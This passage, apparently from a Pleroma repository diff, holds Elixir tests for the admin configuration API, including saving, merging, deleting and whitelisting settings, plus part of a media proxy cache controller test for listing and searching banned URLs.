	value: [%{"tuple" => [":consumer_secret", "aaaa"]}]
	},
	%{
	group: ":pleroma",
	key: ":key2",
	value: %{
	":nested_1" => "nested_value1",
	":nested_2" => [
	%{":nested_22" => "nested_value222"},
	%{":nested_33" => %{":nested_44" => "nested_444"}}
	]
	}
	},
	%{
	group: ":pleroma",
	key: ":key3",
	value: [
	%{"nested_3" => ":nested_3", "nested_33" => "nested_33"},
	%{"nested_4" => true}
	]
	},
	%{
	group: ":pleroma",
	key: ":key4",
	value: %{":nested_5" => ":upload", "endpoint" => "https://example.com"}
	},
	%{
	group: ":idna",
	key: ":key5",
	value: %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]}
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => "value1",
	"db" => [":key1"]
	},
	%{
	"group" => ":ueberauth",
	"key" => "Ueberauth",
	"value" => [%{"tuple" => [":consumer_secret", "aaaa"]}],
	"db" => [":consumer_secret"]
	},
	%{
	"group" => ":pleroma",
	"key" => ":key2",
	"value" => %{
	":nested_1" => "nested_value1",
	":nested_2" => [
	%{":nested_22" => "nested_value222"},
	%{":nested_33" => %{":nested_44" => "nested_444"}}
	]
	},
	"db" => [":key2"]
	},
	%{
	"group" => ":pleroma",
	"key" => ":key3",
	"value" => [
	%{"nested_3" => ":nested_3", "nested_33" => "nested_33"},
	%{"nested_4" => true}
	],
	"db" => [":key3"]
	},
	%{
	"group" => ":pleroma",
	"key" => ":key4",
	"value" => %{"endpoint" => "https://example.com", ":nested_5" => ":upload"},
	"db" => [":key4"]
	},
	%{
	"group" => ":idna",
	"key" => ":key5",
	"value" => %{"tuple" => ["string", "Pleroma.Captcha.NotReal", []]},
	"db" => [":key5"]
	}
	],
	"need_reboot" => false
	}

	assert Application.get_env(:pleroma, :key1) == "value1"

	assert Application.get_env(:pleroma, :key2) == %{
	nested_1: "nested_value1",
	nested_2: [
	%{nested_22: "nested_value222"},
	%{nested_33: %{nested_44: "nested_444"}}
	]
	}

	assert Application.get_env(:pleroma, :key3) == [
	%{"nested_3" => :nested_3, "nested_33" => "nested_33"},
	%{"nested_4" => true}
	]

	assert Application.get_env(:pleroma, :key4) == %{
	"endpoint" => "https://example.com",
	nested_5: :upload
	}

	assert Application.get_env(:idna, :key5) == {"string", Pleroma.Captcha.NotReal, []}
	end

	test "save configs setting without explicit key", %{conn: conn} do
	level = Application.get_env(:quack, :level)
	meta = Application.get_env(:quack, :meta)
	webhook_url = Application.get_env(:quack, :webhook_url)

	on_exit(fn ->
	Application.put_env(:quack, :level, level)
	Application.put_env(:quack, :meta, meta)
	Application.put_env(:quack, :webhook_url, webhook_url)
	end)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":quack",
	key: ":level",
	value: ":info"
	},
	%{
	group: ":quack",
	key: ":meta",
	value: [":none"]
	},
	%{
	group: ":quack",
	key: ":webhook_url",
	value: "https://hooks.slack.com/services/KEY"
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":quack",
	"key" => ":level",
	"value" => ":info",
	"db" => [":level"]
	},
	%{
	"group" => ":quack",
	"key" => ":meta",
	"value" => [":none"],
	"db" => [":meta"]
	},
	%{
	"group" => ":quack",
	"key" => ":webhook_url",
	"value" => "https://hooks.slack.com/services/KEY",
	"db" => [":webhook_url"]
	}
	],
	"need_reboot" => false
	}

	assert Application.get_env(:quack, :level) == :info
	assert Application.get_env(:quack, :meta) == [:none]
	assert Application.get_env(:quack, :webhook_url) == "https://hooks.slack.com/services/KEY"
	end

	test "saving config with partial update", %{conn: conn} do
	insert(:config, key: ":key1", value: :erlang.term_to_binary(key1: 1, key2: 2))

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => [
	%{"tuple" => [":key1", 1]},
	%{"tuple" => [":key2", 2]},
	%{"tuple" => [":key3", 3]}
	],
	"db" => [":key1", ":key2", ":key3"]
	}
	],
	"need_reboot" => false
	}
	end

	test "saving config which need pleroma reboot", %{conn: conn} do
	chat = Config.get(:chat)
	on_exit(fn -> Config.put(:chat, chat) end)

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post(
	"/api/pleroma/admin/config",
	%{
	configs: [
	%{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]}
	]
	}
	)
	\|> json_response_and_validate_schema(200) == %{
	"configs" => [
	%{
	"db" => [":enabled"],
	"group" => ":pleroma",
	"key" => ":chat",
	"value" => [%{"tuple" => [":enabled", true]}]
	}
	],
	"need_reboot" => true
	}

	configs =
	conn
	\|> get("/api/pleroma/admin/config")
	\|> json_response_and_validate_schema(200)

	assert configs["need_reboot"]

	capture_log(fn ->
	assert conn \|> get("/api/pleroma/admin/restart") \|> json_response(200) ==
	%{}
	end) =~ "pleroma restarted"

	configs =
	conn
	\|> get("/api/pleroma/admin/config")
	\|> json_response_and_validate_schema(200)

	assert configs["need_reboot"] == false
	end

	test "update setting which need reboot, don't change reboot flag until reboot", %{conn: conn} do
	chat = Config.get(:chat)
	on_exit(fn -> Config.put(:chat, chat) end)

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post(
	"/api/pleroma/admin/config",
	%{
	configs: [
	%{group: ":pleroma", key: ":chat", value: [%{"tuple" => [":enabled", true]}]}
	]
	}
	)
	\|> json_response_and_validate_schema(200) == %{
	"configs" => [
	%{
	"db" => [":enabled"],
	"group" => ":pleroma",
	"key" => ":chat",
	"value" => [%{"tuple" => [":enabled", true]}]
	}
	],
	"need_reboot" => true
	}

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{group: ":pleroma", key: ":key1", value: [%{"tuple" => [":key3", 3]}]}
	]
	})
	\|> json_response_and_validate_schema(200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => [
	%{"tuple" => [":key3", 3]}
	],
	"db" => [":key3"]
	}
	],
	"need_reboot" => true
	}

	capture_log(fn ->
	assert conn \|> get("/api/pleroma/admin/restart") \|> json_response(200) ==
	%{}
	end) =~ "pleroma restarted"

	configs =
	conn
	\|> get("/api/pleroma/admin/config")
	\|> json_response_and_validate_schema(200)

	assert configs["need_reboot"] == false
	end

	test "saving config with nested merge", %{conn: conn} do
	insert(:config, key: :key1, value: [key1: 1, key2: [k1: 1, k2: 2]])

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":pleroma",
	key: ":key1",
	value: [
	%{"tuple" => [":key3", 3]},
	%{
	"tuple" => [
	":key2",
	[
	%{"tuple" => [":k2", 1]},
	%{"tuple" => [":k3", 3]}
	]
	]
	}
	]
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => [
	%{"tuple" => [":key1", 1]},
	%{"tuple" => [":key3", 3]},
	%{
	"tuple" => [
	":key2",
	[
	%{"tuple" => [":k1", 1]},
	%{"tuple" => [":k2", 1]},
	%{"tuple" => [":k3", 3]}
	]
	]
	}
	],
	"db" => [":key1", ":key3", ":key2"]
	}
	],
	"need_reboot" => false
	}
	end

	test "saving special atoms", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => [
	%{
	"tuple" => [
	":ssl_options",
	[%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}]
	]
	}
	]
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => [
	%{
	"tuple" => [
	":ssl_options",
	[%{"tuple" => [":versions", [":tlsv1", ":tlsv1.1", ":tlsv1.2"]]}]
	]
	}
	],
	"db" => [":ssl_options"]
	}
	],
	"need_reboot" => false
	}

	assert Application.get_env(:pleroma, :key1) == [
	ssl_options: [versions: [:tlsv1, :"tlsv1.1", :"tlsv1.2"]]
	]
	end

	test "saving full setting if value is in full_key_update list", %{conn: conn} do
	backends = Application.get_env(:logger, :backends)
	on_exit(fn -> Application.put_env(:logger, :backends, backends) end)

	insert(:config,
	group: :logger,
	key: :backends,
	value: []
	)

	Pleroma.Config.TransferTask.load_and_update_env([], false)

	assert Application.get_env(:logger, :backends) == []

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":logger",
	key: ":backends",
	value: [":console"]
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":logger",
	"key" => ":backends",
	"value" => [
	":console"
	],
	"db" => [":backends"]
	}
	],
	"need_reboot" => false
	}

	assert Application.get_env(:logger, :backends) == [
	:console
	]
	end

	test "saving full setting if value is not keyword", %{conn: conn} do
	insert(:config,
	group: :tesla,
	key: :adapter,
	value: Tesla.Adapter.Hackey
	)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{group: ":tesla", key: ":adapter", value: "Tesla.Adapter.Httpc"}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":tesla",
	"key" => ":adapter",
	"value" => "Tesla.Adapter.Httpc",
	"db" => [":adapter"]
	}
	],
	"need_reboot" => false
	}
	end

	test "update config setting & delete with fallback to default value", %{
	conn: conn,
	admin: admin,
	token: token
	} do
	ueberauth = Application.get_env(:ueberauth, Ueberauth)
	insert(:config, key: :keyaa1)
	insert(:config, key: :keyaa2)

	config3 =
	insert(:config,
	group: :ueberauth,
	key: Ueberauth
	)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{group: ":pleroma", key: ":keyaa1", value: "another_value"},
	%{group: ":pleroma", key: ":keyaa2", value: "another_value"}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":keyaa1",
	"value" => "another_value",
	"db" => [":keyaa1"]
	},
	%{
	"group" => ":pleroma",
	"key" => ":keyaa2",
	"value" => "another_value",
	"db" => [":keyaa2"]
	}
	],
	"need_reboot" => false
	}

	assert Application.get_env(:pleroma, :keyaa1) == "another_value"
	assert Application.get_env(:pleroma, :keyaa2) == "another_value"
	assert Application.get_env(:ueberauth, Ueberauth) == config3.value

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> assign(:token, token)
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{group: ":pleroma", key: ":keyaa2", delete: true},
	%{
	group: ":ueberauth",
	key: "Ueberauth",
	delete: true
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [],
	"need_reboot" => false
	}

	assert Application.get_env(:ueberauth, Ueberauth) == ueberauth
	refute Keyword.has_key?(Application.get_all_env(:pleroma), :keyaa2)
	end

	test "common config example", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	"group" => ":pleroma",
	"key" => "Pleroma.Captcha.NotReal",
	"value" => [
	%{"tuple" => [":enabled", false]},
	%{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]},
	%{"tuple" => [":seconds_valid", 60]},
	%{"tuple" => [":path", ""]},
	%{"tuple" => [":key1", nil]},
	%{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]},
	%{"tuple" => [":regex1", "~r/https:\/\/example.com/"]},
	%{"tuple" => [":regex2", "~r/https:\/\/example.com/u"]},
	%{"tuple" => [":regex3", "~r/https:\/\/example.com/i"]},
	%{"tuple" => [":regex4", "~r/https:\/\/example.com/s"]},
	%{"tuple" => [":name", "Pleroma"]}
	]
	}
	]
	})

	assert Config.get([Pleroma.Captcha.NotReal, :name]) == "Pleroma"

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => "Pleroma.Captcha.NotReal",
	"value" => [
	%{"tuple" => [":enabled", false]},
	%{"tuple" => [":method", "Pleroma.Captcha.Kocaptcha"]},
	%{"tuple" => [":seconds_valid", 60]},
	%{"tuple" => [":path", ""]},
	%{"tuple" => [":key1", nil]},
	%{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]},
	%{"tuple" => [":regex1", "~r/https:\\/\\/example.com/"]},
	%{"tuple" => [":regex2", "~r/https:\\/\\/example.com/u"]},
	%{"tuple" => [":regex3", "~r/https:\\/\\/example.com/i"]},
	%{"tuple" => [":regex4", "~r/https:\\/\\/example.com/s"]},
	%{"tuple" => [":name", "Pleroma"]}
	],
	"db" => [
	":enabled",
	":method",
	":seconds_valid",
	":path",
	":key1",
	":partial_chain",
	":regex1",
	":regex2",
	":regex3",
	":regex4",
	":name"
	]
	}
	],
	"need_reboot" => false
	}
	end

	test "tuples with more than two values", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	"group" => ":pleroma",
	"key" => "Pleroma.Web.Endpoint.NotReal",
	"value" => [
	%{
	"tuple" => [
	":http",
	[
	%{
	"tuple" => [
	":key2",
	[
	%{
	"tuple" => [
	":_",
	[
	%{
	"tuple" => [
	"/api/v1/streaming",
	"Pleroma.Web.MastodonAPI.WebsocketHandler",
	[]
	]
	},
	%{
	"tuple" => [
	"/websocket",
	"Phoenix.Endpoint.CowboyWebSocket",
	%{
	"tuple" => [
	"Phoenix.Transports.WebSocket",
	%{
	"tuple" => [
	"Pleroma.Web.Endpoint",
	"Pleroma.Web.UserSocket",
	[]
	]
	}
	]
	}
	]
	},
	%{
	"tuple" => [
	":_",
	"Phoenix.Endpoint.Cowboy2Handler",
	%{"tuple" => ["Pleroma.Web.Endpoint", []]}
	]
	}
	]
	]
	}
	]
	]
	}
	]
	]
	}
	]
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => "Pleroma.Web.Endpoint.NotReal",
	"value" => [
	%{
	"tuple" => [
	":http",
	[
	%{
	"tuple" => [
	":key2",
	[
	%{
	"tuple" => [
	":_",
	[
	%{
	"tuple" => [
	"/api/v1/streaming",
	"Pleroma.Web.MastodonAPI.WebsocketHandler",
	[]
	]
	},
	%{
	"tuple" => [
	"/websocket",
	"Phoenix.Endpoint.CowboyWebSocket",
	%{
	"tuple" => [
	"Phoenix.Transports.WebSocket",
	%{
	"tuple" => [
	"Pleroma.Web.Endpoint",
	"Pleroma.Web.UserSocket",
	[]
	]
	}
	]
	}
	]
	},
	%{
	"tuple" => [
	":_",
	"Phoenix.Endpoint.Cowboy2Handler",
	%{"tuple" => ["Pleroma.Web.Endpoint", []]}
	]
	}
	]
	]
	}
	]
	]
	}
	]
	]
	}
	],
	"db" => [":http"]
	}
	],
	"need_reboot" => false
	}
	end

	test "settings with nesting map", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => [
	%{"tuple" => [":key2", "some_val"]},
	%{
	"tuple" => [
	":key3",
	%{
	":max_options" => 20,
	":max_option_chars" => 200,
	":min_expiration" => 0,
	":max_expiration" => 31_536_000,
	"nested" => %{
	":max_options" => 20,
	":max_option_chars" => 200,
	":min_expiration" => 0,
	":max_expiration" => 31_536_000
	}
	}
	]
	}
	]
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) ==
	%{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => [
	%{"tuple" => [":key2", "some_val"]},
	%{
	"tuple" => [
	":key3",
	%{
	":max_expiration" => 31_536_000,
	":max_option_chars" => 200,
	":max_options" => 20,
	":min_expiration" => 0,
	"nested" => %{
	":max_expiration" => 31_536_000,
	":max_option_chars" => 200,
	":max_options" => 20,
	":min_expiration" => 0
	}
	}
	]
	}
	],
	"db" => [":key2", ":key3"]
	}
	],
	"need_reboot" => false
	}
	end

	test "value as map", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => %{"key" => "some_val"}
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) ==
	%{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":key1",
	"value" => %{"key" => "some_val"},
	"db" => [":key1"]
	}
	],
	"need_reboot" => false
	}
	end

	test "queues key as atom", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	"group" => ":oban",
	"key" => ":queues",
	"value" => [
	%{"tuple" => [":federator_incoming", 50]},
	%{"tuple" => [":federator_outgoing", 50]},
	%{"tuple" => [":web_push", 50]},
	%{"tuple" => [":mailer", 10]},
	%{"tuple" => [":transmogrifier", 20]},
	%{"tuple" => [":scheduled_activities", 10]},
	%{"tuple" => [":background", 5]}
	]
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":oban",
	"key" => ":queues",
	"value" => [
	%{"tuple" => [":federator_incoming", 50]},
	%{"tuple" => [":federator_outgoing", 50]},
	%{"tuple" => [":web_push", 50]},
	%{"tuple" => [":mailer", 10]},
	%{"tuple" => [":transmogrifier", 20]},
	%{"tuple" => [":scheduled_activities", 10]},
	%{"tuple" => [":background", 5]}
	],
	"db" => [
	":federator_incoming",
	":federator_outgoing",
	":web_push",
	":mailer",
	":transmogrifier",
	":scheduled_activities",
	":background"
	]
	}
	],
	"need_reboot" => false
	}
	end

	test "delete part of settings by atom subkeys", %{conn: conn} do
	insert(:config,
	key: :keyaa1,
	value: [subkey1: "val1", subkey2: "val2", subkey3: "val3"]
	)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":pleroma",
	key: ":keyaa1",
	subkeys: [":subkey1", ":subkey3"],
	delete: true
	}
	]
	})

	assert json_response_and_validate_schema(conn, 200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":keyaa1",
	"value" => [%{"tuple" => [":subkey2", "val2"]}],
	"db" => [":subkey2"]
	}
	],
	"need_reboot" => false
	}
	end

	test "proxy tuple localhost", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":pleroma",
	key: ":http",
	value: [
	%{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]}
	]
	}
	]
	})

	assert %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":http",
	"value" => value,
	"db" => db
	}
	]
	} = json_response_and_validate_schema(conn, 200)

	assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "localhost", 1234]}]} in value
	assert ":proxy_url" in db
	end

	test "proxy tuple domain", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":pleroma",
	key: ":http",
	value: [
	%{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]}
	]
	}
	]
	})

	assert %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":http",
	"value" => value,
	"db" => db
	}
	]
	} = json_response_and_validate_schema(conn, 200)

	assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "domain.com", 1234]}]} in value
	assert ":proxy_url" in db
	end

	test "proxy tuple ip", %{conn: conn} do
	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":pleroma",
	key: ":http",
	value: [
	%{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]}
	]
	}
	]
	})

	assert %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => ":http",
	"value" => value,
	"db" => db
	}
	]
	} = json_response_and_validate_schema(conn, 200)

	assert %{"tuple" => [":proxy_url", %{"tuple" => [":socks5", "127.0.0.1", 1234]}]} in value
	assert ":proxy_url" in db
	end

	@tag capture_log: true
	test "doesn't set keys not in the whitelist", %{conn: conn} do
	clear_config(:database_config_whitelist, [
	{:pleroma, :key1},
	{:pleroma, :key2},
	{:pleroma, Pleroma.Captcha.NotReal},
	{:not_real}
	])

	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{group: ":pleroma", key: ":key1", value: "value1"},
	%{group: ":pleroma", key: ":key2", value: "value2"},
	%{group: ":pleroma", key: ":key3", value: "value3"},
	%{group: ":pleroma", key: "Pleroma.Web.Endpoint.NotReal", value: "value4"},
	%{group: ":pleroma", key: "Pleroma.Captcha.NotReal", value: "value5"},
	%{group: ":not_real", key: ":anything", value: "value6"}
	]
	})

	assert Application.get_env(:pleroma, :key1) == "value1"
	assert Application.get_env(:pleroma, :key2) == "value2"
	assert Application.get_env(:pleroma, :key3) == nil
	assert Application.get_env(:pleroma, Pleroma.Web.Endpoint.NotReal) == nil
	assert Application.get_env(:pleroma, Pleroma.Captcha.NotReal) == "value5"
	assert Application.get_env(:not_real, :anything) == "value6"
	end

	test "args for Pleroma.Upload.Filter.Mogrify with custom tuples", %{conn: conn} do
	clear_config(Pleroma.Upload.Filter.Mogrify)

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":pleroma",
	key: "Pleroma.Upload.Filter.Mogrify",
	value: [
	%{"tuple" => [":args", ["auto-orient", "strip"]]}
	]
	}
	]
	})
	\|> json_response_and_validate_schema(200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => "Pleroma.Upload.Filter.Mogrify",
	"value" => [
	%{"tuple" => [":args", ["auto-orient", "strip"]]}
	],
	"db" => [":args"]
	}
	],
	"need_reboot" => false
	}

	assert Config.get(Pleroma.Upload.Filter.Mogrify) == [args: ["auto-orient", "strip"]]

	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{
	configs: [
	%{
	group: ":pleroma",
	key: "Pleroma.Upload.Filter.Mogrify",
	value: [
	%{
	"tuple" => [
	":args",
	[
	"auto-orient",
	"strip",
	"{\"implode\", \"1\"}",
	"{\"resize\", \"3840x1080>\"}"
	]
	]
	}
	]
	}
	]
	})
	\|> json_response(200) == %{
	"configs" => [
	%{
	"group" => ":pleroma",
	"key" => "Pleroma.Upload.Filter.Mogrify",
	"value" => [
	%{
	"tuple" => [
	":args",
	[
	"auto-orient",
	"strip",
	"{\"implode\", \"1\"}",
	"{\"resize\", \"3840x1080>\"}"
	]
	]
	}
	],
	"db" => [":args"]
	}
	],
	"need_reboot" => false
	}

	assert Config.get(Pleroma.Upload.Filter.Mogrify) == [
	args: ["auto-orient", "strip", {"implode", "1"}, {"resize", "3840x1080>"}]
	]
	end

	test "enables the welcome messages", %{conn: conn} do
	clear_config([:welcome])

	params = %{
	"group" => ":pleroma",
	"key" => ":welcome",
	"value" => [
	%{
	"tuple" => [
	":direct_message",
	[
	%{"tuple" => [":enabled", true]},
	%{"tuple" => [":message", "Welcome to Pleroma!"]},
	%{"tuple" => [":sender_nickname", "pleroma"]}
	]
	]
	},
	%{
	"tuple" => [
	":chat_message",
	[
	%{"tuple" => [":enabled", true]},
	%{"tuple" => [":message", "Welcome to Pleroma!"]},
	%{"tuple" => [":sender_nickname", "pleroma"]}
	]
	]
	},
	%{
	"tuple" => [
	":email",
	[
	%{"tuple" => [":enabled", true]},
	%{"tuple" => [":sender", %{"tuple" => ["pleroma@dev.dev", "Pleroma"]}]},
	%{"tuple" => [":subject", "Welcome to <%= instance_name %>!"]},
	%{"tuple" => [":html", "Welcome to <%= instance_name %>!"]},
	%{"tuple" => [":text", "Welcome to <%= instance_name %>!"]}
	]
	]
	}
	]
	}

	refute Pleroma.User.WelcomeEmail.enabled?()
	refute Pleroma.User.WelcomeMessage.enabled?()
	refute Pleroma.User.WelcomeChatMessage.enabled?()

	res =
	assert conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/pleroma/admin/config", %{"configs" => [params]})
	\|> json_response_and_validate_schema(200)

	assert Pleroma.User.WelcomeEmail.enabled?()
	assert Pleroma.User.WelcomeMessage.enabled?()
	assert Pleroma.User.WelcomeChatMessage.enabled?()

	assert res == %{
	"configs" => [
	%{
	"db" => [":direct_message", ":chat_message", ":email"],
	"group" => ":pleroma",
	"key" => ":welcome",
	"value" => params["value"]
	}
	],
	"need_reboot" => false
	}
	end
	end

	describe "GET /api/pleroma/admin/config/descriptions" do
	test "structure", %{conn: conn} do
	conn = get(conn, "/api/pleroma/admin/config/descriptions")

	assert [child \| _others] = json_response_and_validate_schema(conn, 200)

	assert child["children"]
	assert child["key"]
	assert String.starts_with?(child["group"], ":")
	assert child["description"]
	end

	test "filters by database configuration whitelist", %{conn: conn} do
	clear_config(:database_config_whitelist, [
	{:pleroma, :instance},
	{:pleroma, :activitypub},
	{:pleroma, Pleroma.Upload},
	{:esshd}
	])

	conn = get(conn, "/api/pleroma/admin/config/descriptions")

	children = json_response_and_validate_schema(conn, 200)

	assert length(children) == 4

	assert Enum.count(children, fn c -> c["group"] == ":pleroma" end) == 3

	instance = Enum.find(children, fn c -> c["key"] == ":instance" end)
	assert instance["children"]

	activitypub = Enum.find(children, fn c -> c["key"] == ":activitypub" end)
	assert activitypub["children"]

	web_endpoint = Enum.find(children, fn c -> c["key"] == "Pleroma.Upload" end)
	assert web_endpoint["children"]

	esshd = Enum.find(children, fn c -> c["group"] == ":esshd" end)
	assert esshd["children"]
	end
	end
	end
	diff --git a/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs b/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs
	index f243d1fb2..62fb9592a 100644
	--- a/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs
	+++ b/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs
	@@ -1,167 +1,163 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.AdminAPI.MediaProxyCacheControllerTest do
	use Pleroma.Web.ConnCase

	import Pleroma.Factory
	import Mock

	alias Pleroma.Web.MediaProxy

	setup do: clear_config([:media_proxy])

	- setup do
	- on_exit(fn -> Cachex.clear(:banned_urls_cache) end)
	- end
	-
	setup do
	admin = insert(:user, is_admin: true)
	token = insert(:oauth_admin_token, user: admin)

	conn =
	build_conn()
	\|> assign(:user, admin)
	\|> assign(:token, token)

	Config.put([:media_proxy, :enabled], true)
	Config.put([:media_proxy, :invalidation, :enabled], true)
	Config.put([:media_proxy, :invalidation, :provider], MediaProxy.Invalidation.Script)

	{:ok, %{admin: admin, token: token, conn: conn}}
	end

	describe "GET /api/pleroma/admin/media_proxy_caches" do
	test "shows banned MediaProxy URLs", %{conn: conn} do
	MediaProxy.put_in_banned_urls([
	"http://localhost:4001/media/a688346.jpg",
	"http://localhost:4001/media/fb1f4d.jpg"
	])

	MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg")
	MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg")
	MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg")

	response =
	conn
	\|> get("/api/pleroma/admin/media_proxy_caches?page_size=2")
	\|> json_response_and_validate_schema(200)

	assert response["page_size"] == 2
	assert response["count"] == 5

	assert response["urls"] == [
	"http://localhost:4001/media/fb1f4d.jpg",
	"http://localhost:4001/media/a688346.jpg"
	]

	response =
	conn
	\|> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=2")
	\|> json_response_and_validate_schema(200)

	assert response["urls"] == [
	"http://localhost:4001/media/gb1f44.jpg",
	"http://localhost:4001/media/tb13f47.jpg"
	]

	assert response["page_size"] == 2
	assert response["count"] == 5

	response =
	conn
	\|> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=3")
	\|> json_response_and_validate_schema(200)

	assert response["urls"] == ["http://localhost:4001/media/wb1f46.jpg"]
	end

	test "search banned MediaProxy URLs", %{conn: conn} do
	MediaProxy.put_in_banned_urls([
	"http://localhost:4001/media/a688346.jpg",
	"http://localhost:4001/media/ff44b1f4d.jpg"
	])

	MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg")
	MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg")
	MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg")

	response =
	conn
	\|> get("/api/pleroma/admin/media_proxy_caches?page_size=2&query=F44")
	\|> json_response_and_validate_schema(200)

	assert response["urls"] == [
	"http://localhost:4001/media/gb1f44.jpg",
	"http://localhost:4001/media/ff44b1f4d.jpg"
	]

	assert response["page_size"] == 2
	assert response["count"] == 2
	end
	end

